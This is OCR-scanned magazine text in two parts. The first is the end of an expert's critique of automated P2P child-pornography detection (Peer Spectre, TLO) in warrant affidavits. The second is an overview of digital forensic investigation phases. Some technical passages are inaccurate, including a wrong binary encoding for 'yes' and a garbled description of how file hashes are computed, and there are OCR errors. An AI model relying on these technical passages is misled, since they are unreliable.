Wiltse is currently listed as the Security Director of Law Enforcement Systems, for TLO, LLC, a Florida
company based in Boca Raton. The company was incorporated in 2009, but in May 2013, filed for volun-
tary reorganization in the U.S. Bankruptcy Court for the Southern District of Florida. On September 30,
2013, the South Florida Business Journal reported that the company is currently the subject of a bidding
war among various investors.

GROWING DEFENSE OBJECTIONS TO SEARCH AUTOMATION

Over the last five years, TLO has made Peer Spectre and GnuWatch available without charge to law en-
forcement organizations around the world to assist in P2P investigations. However, as Wiltse has stated
in various legal proceedings, the source code of Peer Spectre is proprietary and has not been made
available to any governmental agency or criminal defendant for review and/or testing.

There are a growing number of questions about the operation of Peer Spectre and reliance on its results
by investigators, particularly with respect to their preparation of search warrant applications and affidavits.

Even though the precise details of the program’s operation are secret, the basic concept of Peer Spec-
tre is not complicated: using pre-programmed search terms closely identified with child pornography, and
a database of hash values of known CP images, the Peer Spectre software seeks out shared folders
on the Gnutella P2P network that contain child pornography. When a hash value match is made, Peer
Spectre records the date, the time, and the IP address of the device that is offering the CP. The informa-
tion collected by Peer Spectre is then logged in a secure, online database that is part of a TLO program
called the Child Protection System.
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One of the leading concerns regarding the operation of Peer Spectre is that it is used by investigators
to infer possession of CP when no such possession actually occurred. This concern arises out of the fact
that P2P clients retrieve the hash value of a requested file before the file is fully downloaded. As each
chunk of a requested file is downloaded and verified, that chunk is automatically “advertised” as available
for sharing on the P2P network using the same SHA-1 hash value as the full file. But a variety of circum-
stances can prevent the full download of the file: the computer may be turned off, the network connection
may be interrupted, the user could cancel the download, efc.

Thus, it is not only possible but likely that Peer Spectre has registered some unknown number of IP
addresses as offering to share CP when the user in question was never actually in possession of CP.

A closely-related concern is that law enforcement officers do not necessarily verify possession. In the-
ory, they could do so by conducting real-time investigations, and actually downloading suspicious files or
known CP that individuals are offering to share. But as noted earlier, that approach is time-consuming.

Instead, search warrant affidavits increasingly indicate that investigators are relying on the data gener-
ated by Peer Spectre and other automated programs. For instance, in one recent case on which | am cur-
rently working, the officer averred that “[oln November 21, 2012 | conducted undercover operations on the
eDonkey network. | noted that on multiple dates an individual utilizing the IP Address 75.69.66.217 was
possessing and/or offering to distribute in whole or in part digital files containing known child pornography. |
was able to view two of the digital files and | verified the files depict what appears to be child pornography.”

The “undercover operations” referred to by the officer means that he reviewed data stored in the Child
Protection System created and maintained by TLO (which is not mentioned in the affidavit). As he later
notes, he did not actual view the two alleged files of child pornography on the defendant’'s computer sys-
tem; instead, he used the hash values of the files flagged by the automated search software (a program
called Nordic Mule is used to monitor the eDonkey network) to locate the same files on a different com-
puter, and view them there. But while it may be true that the defendant initiated a download of a known
CP image on the date recorded in the Child Protection System, that does not mean that he or she actu-
ally possessed it.

A third issue worth considering is whether law enforcement affidavits that omit any mention of Peer
Spectre, Nordic Mule, the Child Protection System, or TLO are providing full and accurate information to
a judge or magistrate. The phrasing of these affidavits tends to suggest real-time investigation, but that
is often not the case. Moreover, omission of these key players in the investigative process makes it more
difficult for defendants to challenge the adequacy of probable cause.

A handful of cases around the United States are pursuing these issues in detail, and | will be updating
my work in this area as developments arise.

ABOUT THE AUTHOR
I am an attorney, author, and expert witness in the field of computer forensics. | have been working with
computers — particularly personal computers — for thirty years, and have worked as a computer forensics
expert since 1999. During that time, | have assisted attorneys and their clients across the country in the in-
vestigation and defense of a wide range of cases, including embezzlement, domestic relations, obscenity,
child pornography, and first degree murder. | have been retained as a consulting expert in nearly 100 child
pornography cases, and was recently accepted as an expert by the Defense Office of Hearings and Appeals
(a branch of the DOD Defense Legal Services Agency) in the methodology and technology used to create,
distribute, and acquire child pornography.

In addition to my consulting work, | have been invited to lecture numerous times over the past twenty years
to a variety of attorney groups and public defender organizations (both federal and state) on topics rang-
ing from peer-to-peer networks to the basics of computer forensics. Additional information about my work can be found on my
main computer forensics Web site, www.ComputerForensicsDigest.com. | also operate a blog about CP and technology issues,
which you can read at www.CPCaseDigest.com.

If you or your client need computer forensic services, please contact me at fslane3@gmail.com
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MY TWO BITS ON

DIGITAL FORENSIC
INVESTIGATIONS!

by René Hamel

The Forensic Technology area of expertise has been around

for quite a few years now. The name evolved from a variety of
specialized area including “High Tech Crime”, “Digital Electronic
Investigations”.“Digital Forensics”and sometimes“IT Crime
Investigations” to name a few. The consistent theme for all
revolves around “investigations” and “digital information”. As
well, law enforcement officers were some of the first ones to be
exposed to various laws and regulations requiring the collection
and preservation of electronic information using certain
processes to preserve the integrity of the digital information.

What you will learn:

« Identification of electronic evi-
dence “EE”

« Collection of EE

* Preservation of EE

* Anaysis and tools for EE

* Review of EE

What you should know:

» Basic Digital media forensic pro-
cesses and tools

» Types of digital media containing
EE

» Data integrity concepts

« Investigations procedures with EE

used forensic technology methods more than any other enforcement

groups in the mid 1990s. Consequently, to this day, law enforcement
agencies around the world have to consistently train officers to perform these
types of investigations in a world of digital pictures, financial documents and
various database structures for the purpose of understanding the flow of in-
formation for this type of investigations.

S adly, law enforcements agencies investigating child exploitation cases

Additionally, the significant need for trained officers in this field of expertise
required a shifting in the delivery of traditional training to police officers. In the
early stage of digital investigation, it was a known fact that only officers with
some IT knowledge could request and apply to join a somewhat prestigious
group like “High Tech Crime Investigations”. For that reason, law enforcement
agencies had to shift their training processes from using a traditional “DOS”
environment to a more user-friendly “GUI” Windows environment. This shift in
paradigm cannot be stressed enough as to how it affected the decision mak-
ing process for the proper selection and use of forensic tools for law enforce-
ment agencies around the world.
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A digital forensic investigator has to be able to identify and understand the different phases of a digital
investigation before assessing tools necessary to support the different processes within a digital forensic
investigation. The following segment look at some of the key phases a digital forensic investigator will
use during the hunt for electronic evidence.

IDENTIFICATION PHASE

This phase is critical for the digital forensic investigator (“DFI”) initiating a digital investigation. A good DFI
will carefully identify all resources needed to perform this task and he/she will usually reach out to system
administrators, system owners, database administrators, system users and other business stakehold-
ers including upper management. Another good reference point to help identify proper stakeholders is to
look at the IT governance policy in place for the organization part of the investigation. This document will
help the investigator(s) identify key functions and people managing the information within the environ-
ment subject to the investigation.

During the early stage of the identification phase, a DFI will start thinking about tools necessary to ac-
cess the information and paint a good picture of the data Universe which will be the focus of analysis
and scrutiny. As well, complex environments will necessitate the DFI to use a mixture of tools suitable
for various types of IT platforms. For instance, the environment might have aWindows application server
providing simple back office services such as word processing and simple financial applications for the
accounting department. However, the environment could also be integrated with a more complex UNIX
environment running an ERP (Enterprise Resource Planning application) with an Oracle system environ-
ment. The days of shutting down systems to enable the cloning and imaging of hard drives hosting this
type of environment are gone...

During the identification phase, a DFI will also use a triage process to prioritize the information for col-
lection and its processing by using a filtering processes on the electronic data including de-duplication
and removing other non-responsive data from the universe of information. This triage process will also
extract text and metadata from documents for further processing within the e-discovery application of
choice and prepare it for review in a more user friendly environment.

COLLECTION/PRESERVATION PHASE

Since the late 1990s, training for law enforcement agencies on digital forensic investigations greatly
evolved over the years. There used to be a time when law enforcement officers would go to an Internet
Service Provider (“ISP”) and ask a system administrator to shut down everything until all data subject to
the investigation was collected properly for evidentiary purposes. Throughout some of the search war-
rants executed by the police, the users would be ordered to immediately step away from their computers
and systems and a hard shut down of the systems (pull the plug) would be performed. The thinking be-
hind this method was to capture some of the volatile data in RAM memory for future analysis. This type of
approach is not used as much anymore depending on the type of investigations initiated by the officers.
Today’s law enforcement officers are trained to collect Volatile memory from various sources and loca-
tions where this type of approach is necessary.

Finally, there was a time when officers would collect a huge amount of unnecessary hardware when
seizing the entire computer hardware including the monitor, keyboard, mouse, modem, printer until the
exhibit rooms filled up with useless PC parts for months and years. Nowadays, the collection phase
is critical but also more focused than in the early days of forensics, only the storage media are seized
where the data is captured such as internal or external hard drives as an example. Nonetheless, it will
sometimes be necessary to collect the hardware to be able to view the data and analyze it. A good ex-
ample requiring this type of collection happens when DFls have to collect tape backups and their asso-
ciated tape drives.

As common sense would dictate, it is not necessary to collect all the data universe of your case in a tra-
ditional forensic manner. A DFI should be cognizant of data integrity issues and be able to identify some
of the pitfalls with data acquisition/collection. Nowadays, most of the information identified for collection
will be saved in active data areas or “user-created documents” such asWord, Excel, PowerPoint files and
e-mail. These are documents that will be collected usually from a user’s home directory on a company
network or the “My Documents” directory on a laptop, as an example within aWindows environment.

www.eForensicsMag.com € »



0
0 ef-orensics

During the collection phase, an area of interest will be the files metadata and their integrity. This data
can be collected with simple steps using forensic tools to preserve the integrity of the information. Fur-
thermore, it is recommended to search metadata with forensic tools to be more efficient and accurate in
the investigation’s findings — particularly with time stamps. The analysis alone of timestamps is a com-
plex area within digital forensic investigations. Experts will often debate the dates and times generated
by an operating system when a document is copied, moved, modified or created on a computer system.
A good DFI will usually have the ability to show accurate timestamps with the use of good forensic tools
and corroborate timelines on the activities of a user in correlation with other documents. There are no
doubts or questions on the integrity of document timestamps when using forensic tools properly.

A DFI will often look at other areas where data is replicated and backed-up unbeknownst to the aver-
age users. For instance, the auto-recovery feature of an application like MicrosoftWord will save a back-
up or recovery file for those times when a document is deleted or lost by accident. It is well known that
large corporations use a variety of document management systems that will back up documents in the
background while the users are working with other applications. This process is usually transparent to
the user and very efficient, and provides another rich source of information to a DFI.

Another area reviewed and collected by DFIs is the residual data area. This might be more familiar for
IT investigators to use terms like “slack space” and “unallocated space.” This area is very rich in deleted,
lost or damaged information. In other words, it is an unpredictable space where more than often investi-
gators find information corroborating other digital evidence of interest. The difficulty with this space is the
lack of time stamp properties. A DFI should always be careful when recovering and analyzing information
from unallocated space as it is very fluid and the integrity of the information is not consistent. Addition-
ally, the odds of recovering data in this space decreases exponentially as the user keeps on working on
his/her computer system by adding, deleting and modifying data that can completely or partly overwrite
documents and metadata.

This information found in this unique space has the potential to be very important in corroborating and
supporting other information found on the system. For example, an investigator extracts an e-mail with
the header information and the text content where the only missing part is the closing line. Technically
this is a damaged/incomplete file or e-mail, but it still contains the essence of the communication. The
header information will contain a time stamp within the message, which can be very useful for the inves-
tigation. In addition, this area will often contain draft copies of documents created on the user’s system.
Draft documents can be extracted from the residual area, where it can he shown that a user changed
the date, name and other information from the original document, which may be crucial in demonstrating
the user’s fraudulent intentions.

The collection phase is one of the most critical phases during a digital forensic investigation. This
phase does not refer solely to static storage media such as backup tapes and hard drives, but also to
live data (RAM memory) and paper documents ultimately converted to electronic information. There is a
common expression used in the programming world which has a significant meaning in digital forensic:
GIGO (Garbage In -> Garbage Out). The information searched, viewed and used will be useless if its
integrity cannot be ascertain and safeguarded using proper forensic tools and processes to prevent cor-
ruption of the data. Nevertheless, how a DFI handles the information after the acquisition process is just
as important, which takes this segment to the next phase.

ANALYSIS AND REVIEW PHASE

The analysis and review phase is probably the most critical one as it relies on the experience and in-
terpretations of the DFls as well as tools used to process and view the information. For example, a DFI
might find a simple “text” document appearing to contain relevant information for a financial fraud case;
however the viewing of the information in a word processing application shows a flat file containing text
and numbers. The document could be interpreted as being programming code or a data dump from an
Operating System (“OS”) function. This document with a single comma separated sentence extending
over a number of pages document could have different meanings to different DFI. A more experienced
DFI with a database background would probably see the document as a data file that could be easily
viewed and analyzed in a database application for example.

There are several instances where the improper handling and analysis of digital information can be
harmful during the digital investigation process of a case. One common mistake made by some DFls is
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extracting key relevant documents using non forensic tools to view the document because of their user
friendliness aspects; unfortunately, the end results will often be the modification of the document by in-
serting metadata generated by the tool used for viewing the information as well as timestamps modifica-
tions. For example, a DFI will import an application text file into a Microsoft Word application because
it is more flexible with its enhanced viewing properties and capabilities. As a result, the application will
automatically add coding to the document and make it more visually appealing by inserting appropriate
MsWord “metadata.”

In the same line of thinking, the following segment describes a more technical aspect of data integrity
and the fragile environment the data is subject to during the analysis phase if not done with proper tools.
There is a need to go back to bits and bytes for the following technical piece!

THE MEANING OF 0S AND 1S

Preserving digital evidence and maintaining a proper chain of custody process for a variety of digital inves-
tigations is a necessity in today’s corporate world. For the average person, electronic bits and bytes used to
create a written document or a spreadsheet are not physical pieces. On the contrary, these bits and bytes
are tangible and fragile pieces of information. A bit is the smallest piece of information that can be stored on
a computer system. When it holds a magnetic charge (ON), it has a digital value of “1”. When it does not
hold a magnetic charge (OFF), it has a digital value of “0”. One can only imagine how many millions of ones
and zeros are currently stored on an average computer system. As such, the combination of the collective
bits and bytes, properly decoded and processed, is what a user sees on a computer desktop displaying a
nice colorful background — the same principle applies when a user sends commands to the computer to
execute tasks such as word processing, electronic communication (e-mail) and surfing the Internet. A digi-
tal forensic investigator knows this process and will use proper tools and techniques to ensure that none of
the millions of bits and bytes are modified from a “0” to a “1” or vice versa.

Data integrity is critical for a DFI who will present digital evidence in civil or criminal court proceedings.
One might think that changing a tiny bit should not make a dramatic difference. Logically, one bit should
not make a drastic change. On the other hand, changing several bits could significantly alter a system’s
digital information environment. This reinforces the importance of a solid acquisition process by preserv-
ing all the bits intact and preventing corruption of the data. This process will support a sound process-
ing of the information in its native environment and also promote proper preservation of all the computer
system’s information.

The following is a technical view example of how one bit alteration can change the outcome of the re-
sults that could alter the interpretation of a survey for a health insurance policy application.

** Note the answer showing in text and binary format**

Table 1. No text answers in binary format

Question Answer (y/n)
Are you a smoker? yes=01110110 no =01101110

The highlighted binary digits show how easy an answer can be altered by the system if not properly
managed and controlled by a QC function. Both have very similar binary values but very different text
values when transformed by the system in this particular context!

As indicated in the previous example, it would be common practice for a system administrator to purge
useless or inactive information using a variety of monitoring and maintenance tools. Regular clean-up
and maintenance are performed on files and e-mail servers to minimize the cost of back-up and storage
space. However, storage space is becoming cheaper and consequently, more information is collected
and archived at a lower cost. This condition generates more information potentially subject to the discov-
ery process which was not previously available.

In today’s corporate environment, ninety per cent of all communications are electronic. A user’s first in-
stinct is to print everything, and usually more than once. It is becoming a very long and complex task to re-
view digital evidence when users are increasingly retaining and archiving e-mail for a variety of reasons. It
is not uncommon for users to keep thousands of e-mail communications for business or personal reasons.
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How many times will users call the system administrator during the year because their mailboxes are full
and over capacity? It seems like users keep on deleting useless e-mails but their mailboxes are consis-
tently getting bigger at a higher rate than it used to. As well, the current corporate culture makes it difficult
to throw anything away because of compliance and/or regulatory requirements which results in users
archiving e-mails and various work documents on a regular basis.

It is important to know that any request for e-mails preservations for any kind of legal proceedings
should specify all e-mails. As a note, e-mails stored on an organization’s mail server might not contain all
e-mails from all user accounts for a certain period of time. Consequently, it is important to make a clear
request and to be specific about the information requested from a user’s system — desktop or laptop — as
it will usually contain a significantly larger amount of e-mails than the email servers. It is also fundamen-
tal to understand the flow of information from a user’s system sending or receiving e-mails internally or
externally as well as its connection to the organization’s e-mail servers. Furthermore, the users’ system
will usually contain archived e-mails, old e-mails and deleted e-mails that would not be normally stored
on the mail server. However, all this information can be effectively searched and reviewed with proper
tools, as opposed to printing, searching and manually reviewing the information.

Once a DFI has preserved all he/she needs from e-mail servers, laptops, desktops, PDAs, faxes and
phone systems; the next step will be to search this universe of data and identify key elements necessary
to support the investigation.

Once again there is a need to find the right tools to help navigate through mountains of information.
Additionally, the tools will not be as efficient if proper training is not given which should have been in the
initial planning of the digital investigation. This is no small task if the forensic tools are not user-friendly
and the information comes from a variety of sources. Ideally, all documents will be in a single format and
use the same operating system and equipment for all the information. The reality is quite different when
the documents come from a variety of sources. A good forensic tool will help the DFIs use a variety of
application seamlessly to assist with the review of the documentation.

Once the DFI selects a proper method/tool to manage the electronic evidence, where does one start?
A sound approach would be to identify a certain date range all-encompassing of the timeline used in
the case. This will eliminate a large chunk of information and expedite the searches. Depending on how
much information has been collected, the searches can be very broad or very specific with the case
timeline to assist the investigators. The timeline can always be adjusted if the results of the searches are
burying the evidence under unrealistic requirements for review resources.

The searching of documents for a specific date range is probably one of the most common approaches
of all the various digital investigation techniques. With this in mind, the initial acquisition of electronic in-
formation is critical in maintaining the integrity of the documents time and date stamps. This will enable
the digital forensic investigators to search a range using the creation dates or modification dates of the
documents, depending on the requirements of the investigation in a very quick and efficient manner. At-
tempting to do this with the same efficiency and speed is impossible with boxes of paper! This approach
is particularly useful when there is a need to identify and review e-mail communications between numer-
ous parties. The e-mail threads are a great source of information for a DFI and even better if he/she has
the ability to search thousands of e-mails without having to read them all. It should also be mentioned
that by default, most users have their emails application configured to keep the sender’s e-mail message
inserted in their response to the original communication.

In addition, several e-mail investigations have led to a copy of an original message — not on the send-
er’s system, but in the inbox of the recipient! Once the “enter” or “send” button is pressed, the informa-
tion is in cyberspace, travelling from e-mail servers to desktops, to personal digital assistants, to a variety
of ISPs, and then saved on local hard drives, servers, backup tapes, etc. On a side note, a user should
never rely on the “recall message” function of any email application as it is not always reliable and con-
sistent in its functionality.

Another method used by DFls to reduce the amount of searches for irrelevant information is to bypass
all system and application files during the review. These files and folders contain a lot of coding and
gobbledygook unnecessary to an investigation unless it is copyright or intellectual property case where
there is a need to compare more specific application code and system files. Some of the system files
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copied during the acquisition process are large and take a lot of unnecessary resources and system time
during the search process. Furthermore, it is possible to eliminate duplicate files found in a number of
applications and file repositories. This technique is commonly used when undertaking a computer foren-
sic review and is called “Deduplicating”. To help with this process, all system and application files con-
tain a “hash value.” This is a value using a strong algorithm that will extract file variables such as size
and certain time stamps, and calculate a unique number identifying the file. The DFI keeps a database
of all the hash values calculated and compares them with tables collected and maintained from various
sources to help eliminate duplicates. The digital forensic investigator will be able to identify all duplicate
files by comparing hash values with 100%certainty. Once the files have been identified with one of the
hash values, the system will mark the files and will not include them in future searches. This speeds up
the searching process tremendously.

It should also be noted that using hashing techniques in combination with file signatures analysis really
enhance how a DFI locates and preserves evidence. Each type of files contains a file signature used by
the forensic tools to help identify any potential masking of evidence by the users. For instance, a Micro-
soft “Word” document file with an extension of “doc” or “docx” could be saved with a “xIs” extension rep-
resenting a Microsoft Excel spreadsheet. For instance, the file “sample.doc” could be saved as “sample.
xIs” and still contain the same information/evidence. For example, a DFI could be doing an extraction of
allWord documents only from a computer system and this “sample.xls” would be missed unless a proper
signature analysis is performed with the forensic tools.

Another technique to reduce the scale of results from electronic searches is by carefully selecting key-
words to search the Universe of information from the collection phase. This process is often executed in
conjunction with time range selection discussed earlier in this paper. In most digital investigation cases,
one of the challenges a forensic examiner will face is the restrictions as to what he/she is allowed to
analyze and review within that Universe. As stated earlier, while performing the acquisition process of a
hard drive, all the information on the storage media is copied over to another storage media. As such,
all confidential, personal and privileged information is copied and most users would not like to know that
all their information is in the hands of investigators without a clear understanding as to the type of us-
age and controls the information will be subject to. This is particularly true for legal counsels dealing with
privileged information during legal proceedings. Unfortunately, the only method for a DFI to attest to the
completeness and integrity on the Universe of information available and collected is to clone/image ev-
erything. (As a note, nowadays, legal counsels are much more open to investigators using “logical” im-
ages or partial cloning of storage Medias for legal proceedings.)

There are a number of other techniques used by DFI such as link file analysis and memory analysis. To
perform a link file analysis is very useful when a DFI wants to analyze the type of activity by a user on a
certain day and time. The link files are very small and are generated by the creation of shortcuts to files
or applications containing some good information for the investigator such as file path, time accessed
and created. Link files are also created for most recent open documents as an example. A DFI will always
look at the menu of an application to identify the recent opened documents by the application and this
process alone will create a Link file.

Another process used more frequently lies with memory analysis. This process alone could be the sub-
ject of a paper. For the purpose of this document, a memory analysis consists of using forensic tools to
capture the RAM memory and analyses its content for recent user activities and also scrutinize the type
of processes running on the computer system while it is alive. This technique is widely used by DFls to
capture malware data residing in memory and specifically for Trojan virus running in the background on
a computer system. With this technique, a DFI will be able to identify some of the malware activities and
explain why certain files were accessed and processed unbeknownst to the computer user.

In this line of thinking, DFIs around the world use a wide variety of forensic tools depending on the re-
gion. The tools have similar functions and purposes. For instance, the most popular tools used in North
America at the moment are EnCase from Guidance Software, Forensic Tool Kit (FTK) from Access Data
and SMART from ASR data. However, the UK will use these tools as well but they will also use tools like
C4P to perform some image extractions analysis with great efficiency as a complement to other tools.
All' is dependent on the type of investigations and the requirements for the proper preservation of elec-
tronic evidence. Another example would be a DFI in the UK looking at analyzing some audio streams
might use tools from Nice or Aurix to search for keyword strings within thousands of audio recordings. It
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is well known that various organizations store voice-mail files and make them available to their employ-
ees within email attachments for archiving purposes. This information cannot be searched with regular
tools. A DFI in Canada might use tools like Callminer or Nexidia to perform the same functions. None-
theless, these are only tools and a DFI knows that the processes used for collection and preservation
will fall under the scrutiny of the Courts when the electronic evidence is in question. In the end, a good
DFI will test and validate the tools he/she is using for the proper collection, preservation and analysis of
electronic data!

SUMMARY

Finally, once the collection, preservation, analysis/review phases have been completed, DFls should be
ready to enter the final phase which is the ability for stakeholders to view the Universe of data for its pro-
duction in the final E-Discovery process which is outside the scope of this article.
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